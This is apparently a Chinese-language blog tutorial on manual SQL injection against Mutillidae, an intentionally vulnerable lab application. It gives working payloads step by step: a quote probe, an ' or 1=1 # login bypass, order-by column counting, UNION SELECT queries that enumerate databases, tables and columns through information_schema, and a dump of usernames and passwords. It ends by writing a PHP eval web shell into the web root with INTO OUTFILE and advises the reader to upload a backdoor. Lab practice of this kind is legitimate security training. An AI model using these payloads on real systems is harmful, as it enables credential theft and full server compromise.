環境: xampp-win32-5.6.3-0-VC11 Mutillidae-2.6.19
網上能搜到mutillidae 相關的工具注入,可是手工注入的基本沒有,好像大神們都已經略過手工注入這一階段了,沒辦法,剛進入的新手仍是老老實實手工注入。php
這裏也將蒐集到的工具注入記錄以下,之後用工具注入會有用的:html
mutillidae跟dvwa相似,也有安全級別,因此剛開始作手工注入的時候就將它調至最低吧:mysql
而後咱們到mutillidae的注入點:web
OWASP 2013 --> 」A1 - Injection」 —>> 」SQLi - Extract Data」 —>> 」User Info」
SQL注入最重要的是尋找注入點,mutillidae 這裏面的注入跟別的實際場景不同,咱們知道最多見的是去url上檢測注入點。 固然像mutillidae 這樣的構造的用戶登錄的注入點檢測也不少(經常使用的萬能密碼測試?)。只是目前本身遇到的還少。sql
在用戶信息界面:單引號檢測Name對應表單,結果以下:數據庫
經過這張圖片咱們就知道後端數據支撐的數據庫類型是mysql了後端
咱們還能夠嘗試是否能列出全部用戶信息: ‘ or 1=1 #
結果咱們獲得了全部用戶信息。(圖略)安全
咱們使用以下語句:ide
’ order by 10 # 頁面出錯 ’ order by 5 # 頁面無數據 ’ order by 7 # 頁面無數據 ’ order by 8 # 頁面出錯
因此猜到查詢結果集的列數爲 7列函數
先用以下語句獲得哪些字段能夠用來顯示數據:
' and 1=2 union select 1,2,3,4,5,6,7 #
以下圖:
而後構造語句:
' and 1=2 union select 1,user(),version(),database(),5,6,7 #
而後咱們就獲得了以下信息
Username=root@localhost Password=5.6.21 Signature=nowasp
若是隻有一個字段能夠顯示信息的,那麼咱們能夠用concat_ws函數方便一次性獲得數據
' and 1=2 union select 1,concat_ws(char(32,58,32),user(),database(),version()),3,4,5,6,7 #
獲得的信息以下:
Username=root@localhost : nowasp : 5.6.21 Password=3 Signature=4
這下知道是mysql5以上的數據庫,那麼咱們就能夠直接利用系統庫爆出一些信息
' and 1=2 union select 1,SCHEMA_NAME,3,4,5,6,7 from information_schema.SCHEMATA #
獲得的數據庫名以下:
information_schema cdcol dvwa mysql nowasp performance_schema phpmyadmin test webauth
獲得的數據庫仍是蠻多的,放在這兒,做爲檢測,這些都是可利用的信息,或許之後有用
' and 1=2 union select 1,TABLE_NAME,3,4,5,6,7 from information_schema.TABLES where TABLE_SCHEMA=0x6E6F77617370 #
其中0x6E6F77617370是nowasp的十六進制編碼
獲得的表名以下:
accounts balloon_tips blogs_table captured_data credit_cards help_texts hitlog level_1_help_include_files page_help page_hints pen_test_tools youtubevideos
這表也是蠻多的,可是通常咱們只須要咱們有用的表就行,目前須要的是系統用戶信息表,這裏看就是accounts表了
' and 1=2 union select 1,COLUMN_NAME,3,4,5,6,7 from information_schema.COLUMNS where TABLE_NAME=0x6163636F756E7473 #
其中0x6163636F756E7473是accounts的16進制編碼
獲得的字段以下:
cid username password mysignature is_admin firstname lastname USER CURRENT_CONNECTIONS TOTAL_CONNECTIONS
' and 1=2 union select 1,username,password,mysignature,5,6,7 from accounts#
你會發現這跟以前的萬能密碼爆出來的東西同樣。 這大概就是mysql 5的注入獲取數據的過程,
而後你須要找後臺,找上傳點,上傳你的小馬。或者試下下面簡單快捷方法,寫入一句話(須要你有寫入權限)
' union select 1,'<?php eval($_POST[cmd]);?>',3,4,5,6,7 into outfile 'D:\\xampp\\htdocs\\mutillidae\\coofig.php' #